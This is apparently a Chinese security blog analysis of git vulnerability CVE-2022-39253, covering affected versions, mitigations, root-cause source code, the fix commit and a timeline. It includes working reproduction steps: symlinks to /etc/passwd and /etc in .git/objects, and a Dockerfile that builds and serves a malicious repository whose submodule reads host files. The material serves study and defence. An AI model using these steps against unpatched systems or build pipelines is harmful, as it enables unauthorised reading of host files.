注:CVE-2022-39253影响git下游软件,包括docker等,关于docker受此漏洞的影响,请关注本公众号之后文章,本文仅关注git部分。
Item | Details | Note |
Project | git/git[1] | |
Publish Date | 2022-10-18 | |
Introduce Date | vulnerability1: 2008-05-05 | dir symlink |
vulnerability2: 2019-07-12 | file symlink | |
Confirm Link | GHSA-3wp6-j8xr-qw85[2] | |
Git Mailing List Archive on lore.kernel.org[3] | ||
CVE-ID | CVE-2022-39253 | mitre[4] |
Poc | ssst0n3/docker-cve-2022-39253-poc[5] | |
Fix Commit | commits[6] | |
Introduce Commit | vulnerability1: 8434c2f[7] | |
vulnerability2: 36596fd[8] | ||
CVSS | 5.5
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | |
Vuln's Author | Cory
[email protected] | github[9] |
Git作为一个开源项目,是一个快速、可扩展的分布式版本控制系统。本次漏洞发生于本地clone相关的特性。当在本地clone一个仓库时,--local
选项会使git解析objects目录下的软链接,因此导致此漏洞。
注:本漏洞由Cory [email protected]和Bjorn [email protected]作根因分析,由Cory Snider报告给git项目的,且credit也是Cory Snider。
Cory Snider是mirantis的高级软件工程师, Mirantis Secure Registry 团队的成员, 也是docker项目的maintainer。
Item | Link |
Author | Cory Snider |
Organization | Mirantis |
github | https://github.com/corhere |
email | |
linkedin | https://ca.linkedin.com/in/cory-snider |
cve | CVE-2022-39253[10] |
presents | Cory Snider -
Outstanding Employee Award Winner for Engineering[11] |
other | docker
maintainer[12] |
当在本地clone一个仓库时,--local
选项会使git直接从源地址创建硬连接或复制文件和目录。这个特性可能被用于处理软连接,因此导致此漏洞。
git的这个特性,在处理.git/objects/
下的软链接时,会解析软链接的源地址。
对软链接指向的源地址:
继续递归遍历——漏洞点1
创建硬链接或复制——漏洞点2
这两种行为都将导致宿主机任意文件读,我在本文将他们分别称为漏洞点1,漏洞点2。
解析软链接导致的漏洞屡见不鲜,这里也不例外。攻击者可以诱导受害者clone一个恶意仓库来读取仓库外的文件。
两个漏洞点均可导致任意文件读取,但具体利用手法略有差异:
漏洞点1:
可以通过软链接到目录的方式,来读取任意文件
漏洞点2:
既可以通过软链接到目录的方式,来读取任意文件
也可以通过软链接到文件的方式,来读取任意文件
我设计了由简单到精细的三种利用手法,利用时可以直接使用最后一种,为了便于理解,可以逐步复现:
>= v1.5.6-rc0, <= v2.30.5, v2.31.4, v2.32.3, v2.33.4, v2.34.4, v2.35.4, v2.36.2, v2.37.3, v2.38.0
具体到分析漏洞是如何引入:
漏洞点1:>= v1.5.6-rc0, <= v2.30.5, v2.31.4, v2.32.3, v2.33.4, v2.34.4, v2.35.4, v2.36.2, v2.37.3, v2.38.0
漏洞点2:>= v2.23.0-rc0, <= v2.30.5, v2.31.4, v2.32.3, v2.33.4, v2.34.4, v2.35.4, v2.36.2, v2.37.3, v2.38.0
适用于攻击者从只能控制部分路径,到读取主机任意文件的场景。
特别是基于容器的编译构建场景:攻击者可以触发docker build从一个恶意的仓库clone代码,利用本漏洞,读取宿主机任意文件。这涉及docker受本漏洞的影响,我将在另一篇文章“Git CVE-2022-39253 on docker 漏洞分析与复现”中详细分析。
更新git软件至修复版本。
更新依赖git的下游软件至修复版本,例如docker,podman,visual studio,xcode等。
如果更新git版本不可行,应
当git clone 本地机器上的仓库时,避免使用--local
选项clone不可信的代码,而应使用--no-local
选项,或者直接使用file协议clone。
在git clone 不可信的代码库时,避免使用--recurse-submodules
选项,或先设置git config --global protocol.file.allow user
。
较难检测,考虑:
监测操作系统上关键文件的访问行为,能否关联到git clone相关的行为。
可以直接使用dockerhub上的git镜像,例如alpine/git
, bitnamic/git
本漏洞涉及两个漏洞点,不同漏洞点表现不同。因此需要两种版本的镜像:
镜像一,用于验证
漏洞点一存在
漏洞点二不存在
$ docker run -ti --entrypoint=bash bitnami/git:2.22.1
[email protected]:/# git --version
git version 2.22.1
镜像二,需要使用有引入commit[13]的版本,即v2.23.0-rc0
及之后版本的镜像。用于验证,
$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0
准备环境
准备恶意本地仓库 /tmp/a
在.git/objects目录下创建一个指向/etc/passwd的软链接
$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0
/git # mkdir /tmp/a
/git # git init /tmp/a
/git # ln -s /etc/passwd /tmp/a/.git/objects/passwd
/git # ls -l /tmp/a/.git/objects/passwd
lrwxrwxrwx 1 root root 11 Dec 8 15:25 /tmp/a/.git/objects/passwd -> /etc/passwd
git clone触发漏洞
/git # git clone /tmp/a /tmp/b
Cloning into '/tmp/b'...
warning: You appear to have cloned an empty repository.
done.
验证利用效果,发现/etc/passwd
被成功复制到新的git目录下。
/git # ls -li /etc/passwd /tmp/b/.git/objects/passwd
2629495 -rw-r--r-- 2 root root 1172 Jul 10 2021 /etc/passwd
2629495 -rw-r--r-- 2 root root 1172 Jul 10 2021 /tmp/b/.git/objects/passwd
/git # head -n 1 /tmp/b/.git/objects/passwd
root:x:0:0:root:/root:/bin/ash
这种利用方法的适用场景是,当git clone的地址被限制协议时,仍可将本地路径配置在submodule中。
准备环境
准备本地恶意仓库 /tmp/b
在一个/tmp/b/.git/objects下创建一个指向/etc/passwd的软链接
准备任意仓库 file:///tmp/a , 设置submodule
$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0
/git # git init /tmp/a
/git # git init /tmp/b
/git # cd /tmp/b
/tmp/b # git config --global user.email "[email protected]" && git config --global user.name "Your Name"
/tmp/b # touch README.md && git add . && git commit -m init
/tmp/b # ln -s /etc/passwd /tmp/b/.git/objects/passwd
/tmp/a # cd /tmp/a
/tmp/a # git submodule add /tmp/b
/tmp/a # git add . && git commit -m init
git clone触发漏洞
/tmp/a # git clone --recurse-submodules file:///tmp/a /tmp/c
Cloning into '/tmp/c'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Submodule 'b' (/tmp/b) registered for path 'b'
Cloning into '/tmp/c/b'...
done.
Submodule path 'b': checked out 'f075a2e5e1eb789de1b0ae8272551c063efe709f'
验证利用效果,发现/etc/passwd
被成功复制到新的git目录下。
/tmp/a # ls -li /etc/passwd /tmp/c/.git/modules/b/objects/passwd
2629495 -rw-r--r-- 3 root root 1172 Jul 10 2021 /etc/passwd
2629495 -rw-r--r-- 3 root root 1172 Jul 10 2021 /tmp/c/.git/modules/b/objects/passwd
利用方法2解决了仓库地址协议的限制,仍需要可以控制本地的一个目录。如果将本地目录直接包含在git仓库中,则不需要再额外控制本地目录。
我构造了这样一个git仓库,它会读取主机的/tmp/escaped
文件作为证明,实际利用时,可以替换为其他文件或目录。
也可将构造的git仓库push到github等仓库,例如 https://github.com/ssst0n3/docker-cve-2022-39253-poc
构造恶意仓库
$ cat > Dockerfile <<EOF
FROM alpine/git:v2.30.2RUN sed -i "[email protected]://dl-cdn.alpinelinux.org/@https://repo.huaweicloud.com/@g" /etc/apk/repositories
RUN apk add vim python3
RUN git config --global user.email "[email protected]" && git config --global user.name "LEI WANG"
WORKDIR /tmp/evil
RUN git init
RUN touch README.md
RUN ln -s /tmp/escaped .git/objects/host
RUN git add . && git commit -m init
RUN git update-server-info
WORKDIR /tmp/dumb
RUN git init
RUN touch README.md
RUN mkdir evil2 && cp /tmp/evil/.git evil2/git -r
RUN git add . && git commit -m init
RUN git submodule add /tmp/evil
RUN sed -i '[email protected]/tmp/[email protected]/proc/self/cwd/evil2/[email protected]' .gitmodules
RUN git add . && git commit -m update
RUN git update-server-info
WORKDIR /tmp
ENTRYPOINT cat /tmp/dumb/.gitmodules && python3 -m http.server 80
EOF
$ docker build -t evil-git .
$ docker run -d -p 8000:80 evil-git
漏洞复现:
$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0
/git # echo "escaped" > /tmp/escaped
/git # git clone --recurse-submodules http://172.17.0.1:8000/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/git/dumb/evil'...
done.
Submodule path 'evil': checked out 'b6b4b63c4bd20eb7b800b8ffbee569c435538416'
/git # cat dumb/.git/modules/evil/objects/host
escaped
将软链接修改为链接至目录
恶意仓库:
ln -s /etc .git/objects/host
漏洞复现:
/git # git --version
git version 2.32.0
/git # echo "escaped" > /etc/proof
/git # git clone --recurse-submodules http://172.17.0.1:8000/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/git/dumb/evil'...
done.
Submodule path 'evil': checked out '128a0e2ef56a135c86ff6f9010d2fef7d1629e37'
/git # ls -lah dumb/.git/modules/evil/objects/host/
total 184K
drwxr-xr-x 18 root root 4.0K Dec 21 07:06 .
drwxr-xr-x 8 root root 4.0K Dec 21 07:06 ..
-rw-r--r-- 1 root root 7 Aug 27 2021 alpine-release
drwxr-xr-x 4 root root 4.0K Dec 21 07:06 apk
...
/git # cat dumb/.git/modules/evil/objects/host/proof
escaped
恶意仓库:
ln -s /etc .git/objects/host
漏洞复现:
$ docker run -ti --entrypoint=bash bitnami/git:2.22.1
[email protected]:/# git --version
git version 2.22.1
[email protected]:/# echo "escaped" > /etc/proof
[email protected]:/# git clone --recurse-submodules http://172.17.0.1:8000/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/dumb/evil'...
warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/pager.1.gzwarning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/awk.1.gz
warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/nawk.1.gz
warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/builtins.7.gz
warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/rmt.8.gz
done.
Submodule path 'evil': checked out '128a0e2ef56a135c86ff6f9010d2fef7d1629e37'
[email protected]:/# ls -lah dumb/.git/modules/evil/objects/host
total 400K
drwxr-xr-x 42 root root 4.0K Dec 21 07:05 .
drwxr-xr-x 8 root root 4.0K Dec 21 07:05 ..
-rw------- 2 root root 0 Apr 8 2019 .pwd.lock
drwxr-xr-x 3 root root 4.0K Dec 21 07:05 X11
...
[email protected]:/# cat dumb/.git/modules/evil/objects/host/proof
escaped
恶意仓库:
ln -s /tmp/escaped .git/objects/host
漏洞复现:
[email protected]:/# git --version
git version 2.22.1
[email protected]:/# rm dumb/ -rf
[email protected]:/# git clone --recurse-submodules http://172.17.0.1:8001/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/dumb/evil'...
done.
Submodule path 'evil': checked out 'c420fd38cb477e8ff81062ed2135622cec255d7c'
[email protected]:/# ls -lah dumb/.git/modules/evil/objects/host
lrwxrwxrwx 2 root root 11 Dec 21 07:13 dumb/.git/modules/evil/objects/host -> /etc/passwd
当使用--local
选项clone仓库时,git会通过创建硬连接或复制源地址的 .git/objects/下的文件。这其实是一种优化:通过创建硬链接来节省硬盘空间。
如果仓库地址是一个本地路径(例如/path/to/repo),这个行为是默认的,即是否指定--local
选项都生效。
初始化一个本地仓库:
$ mkdir /tmp/a
$ touch /tmp/a/README.md
$ cd /tmp/a
$ git init && git add . && git commit -m "init"
通过本地路径clone时,是否指定--local
效果都一样:
$ git clone --local /tmp/a /tmp/b
Cloning into '/tmp/b'...
done.
$ git clone /tmp/a /tmp/c
Cloning into '/tmp/c'...
done.
$ ls -li /tmp/a/.git/objects/df/* /tmp/b/.git/objects/df/* /tmp/c/.git/objects/df/*
2641349 -r--r--r-- 3 root root 123 Dec 8 15:03 /tmp/a/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
2641349 -r--r--r-- 3 root root 123 Dec 8 15:03 /tmp/b/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
2641349 -r--r--r-- 3 root root 123 Dec 8 15:03 /tmp/c/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
如果仓库地址是一个URL[14],则这个选项会被忽略,即是否指定--local
选项都不生效。
$ git clone file:///tmp/a /tmp/d
Cloning into '/tmp/d'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
$ git clone file:///tmp/a /tmp/e
Cloning into '/tmp/e'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
当指定--no-local
选项时,即使给定本地路径(例如/path/to/repo), 会使用常规的git传输方法。
$ git clone --no-local /tmp/a /tmp/f
Cloning into '/tmp/f'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
--no-hardlinks
选项会强制从本地的源路径复制文件,而不是创建硬链接。这个选项适用于备份场景。
$ git clone --no-hardlinks /tmp/a /tmp/g
$ ls -li /tmp/a/.git/objects/df/* /tmp/g/.git/objects/df/*
2641349 -r--r--r-- 3 root root 123 Dec 8 15:03 /tmp/a/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
2641619 -rw-r--r-- 1 root root 123 Dec 8 15:03 /tmp/g/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
git clone --recurse-submodules
会自动把子模块clone下来。子模块定义在.gitmodules
文件。
[submodule "libfoo"]
path = include/foo
url = git://foo.com/git/lib.git
这里也有一个url,如果这个url配置为本地路径,则会调用上文提及的--local
优化。
$ mkdir /tmp/a /tmp/b
$ git init /tmp/a
$ git init /tmp/b
$ cd /tmp/b
$ touch README.md && git add . && git commit -m init
$ cd /tmp/a
$ git submodule init
$ git submodule add /tmp/b
$ git add . && git commit -m init
$ git clone --recurse-submodules file:///tmp/a /tmp/c
$ ls -li /tmp/b/.git/objects/e0/* /tmp/c/.git/modules/b/objects/e0/*
3019812 -r--r--r-- 3 st0n3 st0n3 122 12月 9 11:21 /tmp/b/.git/objects/e0/c09f766d9c50b3c8f8fad268317f0a741928cf
3019812 -r--r--r-- 3 st0n3 st0n3 122 12月 9 11:21 /tmp/c/.git/modules/b/objects/e0/c09f766d9c50b3c8f8fad268317f0a741928cf
该功能的调用链相对较简短,由--local
优化特性开始,到复制或创建软链接
This is done through the callpath cmd_clone()
->clone_local()
-> copy_or_link_directory()
.
执行clone命令时,如果启用优化特性,则调用clone_local
函数。
https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L1344
int cmd_clone(int argc, const char **argv, const char *prefix)
{
...
if (is_local)
clone_local(path, git_dir);
else if (refs && complete_refs_before_fetch) {
...
}
...
}
对objects目录,执行copy_or_link_directory
函数
https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L478
static void clone_local(const char *src_repo, const char *dest_repo)
{
if (option_shared) {
struct strbuf alt = STRBUF_INIT;
get_common_dir(&alt, src_repo);
strbuf_addstr(&alt, "/objects");
add_to_alternates_file(alt.buf);
strbuf_release(&alt);
} else {
struct strbuf src = STRBUF_INIT;
struct strbuf dest = STRBUF_INIT;
get_common_dir(&src, src_repo);
get_common_dir(&dest, dest_repo);
strbuf_addstr(&src, "/objects");
strbuf_addstr(&dest, "/objects");
copy_or_link_directory(&src, &dest, src_repo);
strbuf_release(&src);
strbuf_release(&dest);
} if (0 <= option_verbosity)
fprintf(stderr, _("done.\n"));
}
遍历objects目录,创建软链接或复制。
https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L458-L467
static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
const char *src_repo)
{
...
flags = DIR_ITERATOR_PEDANTIC | DIR_ITERATOR_FOLLOW_SYMLINKS;
iter = dir_iterator_begin(src->buf, flags); if (!iter)
die_errno(_("failed to start iterator over '%s'"), src->buf);
...
while ((iter_status = dir_iterator_advance(iter)) == ITER_OK) {
...
if (!option_no_hardlinks) {
strbuf_realpath(&realpath, src->buf, 1);
if (!link(realpath.buf, dest->buf))
continue;
if (option_local > 0)
die_errno(_("failed to create link '%s'"), dest->buf);
option_no_hardlinks = 1;
}
if (copy_file_with_time(dest->buf, src->buf, 0666))
die_errno(_("failed to copy file to '%s'"), dest->buf);
}
...
}
漏洞点有两处:
遍历文件时对软链接的解析
创建硬链接时,对软链接进行了解析。
漏洞点1, 遍历目录时,解析了软链接:
https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L459-L460
static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
const char *src_repo)
{
...
flags = DIR_ITERATOR_PEDANTIC | DIR_ITERATOR_FOLLOW_SYMLINKS;
iter = dir_iterator_begin(src->buf, flags);
...
}
漏洞点2, 源文件是软链接时,创建硬链接:
static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
const char *src_repo)
{
...
while ((iter_status = dir_iterator_advance(iter)) == ITER_OK) {
...
if (!option_no_hardlinks) {
strbuf_realpath(&realpath, src->buf, 1);
if (!link(realpath.buf, dest->buf))
continue;
...
}
...
}
...
}
第一处漏洞点很早就存在,追溯到最早期时,其代码要更直白,直接调用了opendir, readdir:
https://github.com/git/git/blob/8434c2f1afedb936e0ea8c07ce25733013c2f743/builtin-clone.c#L177
static void copy_or_link_directory(char *src, char *dest)
{
...
dir = opendir(src);
...
while ((de = readdir(dir)) != NULL) {
...
}
}
第二处由一次优化引入。根据commit中的描述,当目标文件是软链接时,不同os创建硬链接的处理方式不一致。为了实现os无关,所以在创建硬链接前,解析了软链接。
https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6#
static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
const char *src_repo, int src_baselen)
{
...
- if (!link(src->buf, dest->buf))
+ if (!link(real_path(src->buf), dest->buf))
...
}
但奇怪的是,git 似乎不会主动在.git/objects目录创建软链接, 为什么开发者会处理这些特性呢?
Note: Git won't create symlinks at .git/objects itself, but it's better
to handle this case and be friendly with users who manually create them.
该漏洞修复涉及的commits共11条。
https://github.com/git/git/compare/v2.30.5…a1d4f67c12ac172f835e6d5e4e0a197075e2146b
其中最关键的commit是builtin/clone.c: disallow --local clones with symlinks
这个修复很简单
遍历目录时,不再解析软链接。
遍历源目录下的文件,判断是否是链接,如果是,直接退出。
https://github.com/git/git/commit/6f054f9fb3a501c35b55c65e547a244f14c38d56
static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
const char *src_repo)
{
int src_len, dest_len;
struct dir_iterator *iter;
int iter_status;
- unsigned int flags;
struct strbuf realpath = STRBUF_INIT; mkdir_if_missing(dest->buf, 0777);
- flags = DIR_ITERATOR_PEDANTIC | DIR_ITERATOR_FOLLOW_SYMLINKS;
- iter = dir_iterator_begin(src->buf, flags);
+ iter = dir_iterator_begin(src->buf, DIR_ITERATOR_PEDANTIC);
...
while ((iter_status = dir_iterator_advance(iter)) == ITER_OK) {
...
+ if (S_ISLNK(iter->st.st_mode))
+ die(_("symlink '%s' exists, refusing to clone with --local"),
+ iter->relative_path);
...
/* Files that cannot be copied bit-for-bit... */
if (!fspathcmp(iter->relative_path, "info/alternates")) {
copy_alternates(src, src_repo);
continue;
}
...
if (!option_no_hardlinks) {
strbuf_realpath(&realpath, src->buf, 1);
if (!link(realpath.buf, dest->buf))
continue;
if (option_local > 0)
die_errno(_("failed to create link '%s'"), dest->buf);
option_no_hardlinks = 1;
}
if (copy_file_with_time(dest->buf, src->buf, 0666))
die_errno(_("failed to copy file to '%s'"), dest->buf);
}
...
该修复导致了一些问题:
https://vielmetti.typepad.com/logbook/2022/10/git-security-fixes-lead-to-fatal-transport-file-not-allowed-error-in-ci-systems-cve-2022-39253.html
https://www.mail-archive.com/[email protected]/msg1878180.html
为了解决这个问题,目前业界普遍的修复方案是,设置protocol.file.allow=always
,这个设置会不会带来别的问题?还请读者一起思考。
后续git开发者会不会觉得相关代码的修复过于激进(引发了上述问题),重新修复,导致一些其他问题(如漏洞又被引入),也有待跟进。
修复代码很少,不会因本次修复引入新漏洞。
较难分析原作者的漏洞挖掘方法,以下是我的一些猜想:
首先从漏洞利用场景出发,目标应为挖掘docker build的漏洞
分析docker build的风险,将目标聚焦在调用git时可能触发的漏洞
考虑git的任意文件读取
在分析到任意文件读取时,很自然想到软链接
阅读git相关代码,分析涉及处理软链接的相关函数
漏洞修复的commit早于漏洞公告:
git的修复的 commit[15]发布时间是10月1日,漏洞的公告时间[16]10月19日
而下游的修复和公告时间更晚,是可以早于业界发现该漏洞的。
该漏洞很有趣,也很有借鉴价值
该漏洞是git的漏洞,但影响了下游软件
该漏洞归属于git,下游软件可能没有分配CVE编号,因此可能不受业界重视
据我推测,该漏洞是为了docker供应链漏洞而挖掘的
在今后的漏洞挖掘活动中,应加强对供应链软件的关注
引入隐秘修复检测技术
丰富了软链接相关的漏洞模式
鉴于业界对此问题的关注度不足,渗透测试可以重点验证下游软件、云服务的利用情况。
漏洞产生、发现、报告、修复、分析的时间线
2008-05-05: 漏洞点一引入[17]
2019-07-12: 漏洞点二引入[18]
2022-03-11(推测): Wenxiang Qian 发现并报告给 docker[19]
2022-03-22(推测): docker 安全团队确认[20]
未知时间:Cory Snider进行根因分析并报告给git
2022-09-02: CVE ID 分配[21]
2022-10-01: Fix commited[22]
2022-10-18: 修复版本 release 发布[23]
2022-10-19: git 发布漏洞公告[24]
略:docker,apple等下游公司修复
git/git: https://github.com/git/git
[2]GHSA-3wp6-j8xr-qw85: https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85
[3]Git Mailing List Archive on lore.kernel.org: https://lore.kernel.org/git/[email protected]/T/#u
[4]mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39253
[5]ssst0n3/docker-cve-2022-39253-poc: https://github.com/ssst0n3/docker-cve-2022-39253-poc
[6]commits: https://github.com/git/git/compare/v2.30.5...a1d4f67c12ac172f835e6d5e4e0a197075e2146b
[7]8434c2f: https://github.com/git/git/commit/8434c2f1afedb936e0ea8c07ce25733013c2f743
[8]36596fd: https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6#
[9]github: https://github.com/corhere
[10]CVE-2022-39253: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39253
[11]Cory Snider - Outstanding Employee Award Winner for Engineering: https://www.youtube.com/watch?v=YO3jl6rSlCs
[12]docker maintainer: https://github.com/moby/moby/blob/0200623ef7b7b166c675cb14502cbc0704d3dfd4/MAINTAINERS#L329
[13]commit: https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6#
[14]URL: https://mirrors.edge.kernel.org/pub/software/scm/git/docs/git-clone.html#URLS
[15]修复的commit: https://github.com/git/git/compare/v2.30.5...a1d4f67c12ac172f835e6d5e4e0a197075e2146b
[16]公告时间: https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85
[17]漏洞点一引入: https://github.com/git/git/commit/8434c2f1afedb936e0ea8c07ce25733013c2f743
[18]漏洞点二引入: https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6
[19]Wenxiang Qian发现并报告给docker: http://n0o.com/post.php?id=34
[20]docker安全团队确认: http://n0o.com/post.php?id=34
[21]CVE ID分配: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39253
[22]Fix commited: https://github.com/git/git/compare/v2.30.5...a1d4f67c12ac172f835e6d5e4e0a197075e2146b
[23]修复版本release发布: https://lore.kernel.org/git/[email protected]/T/#u
[24]git发布漏洞公告: https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85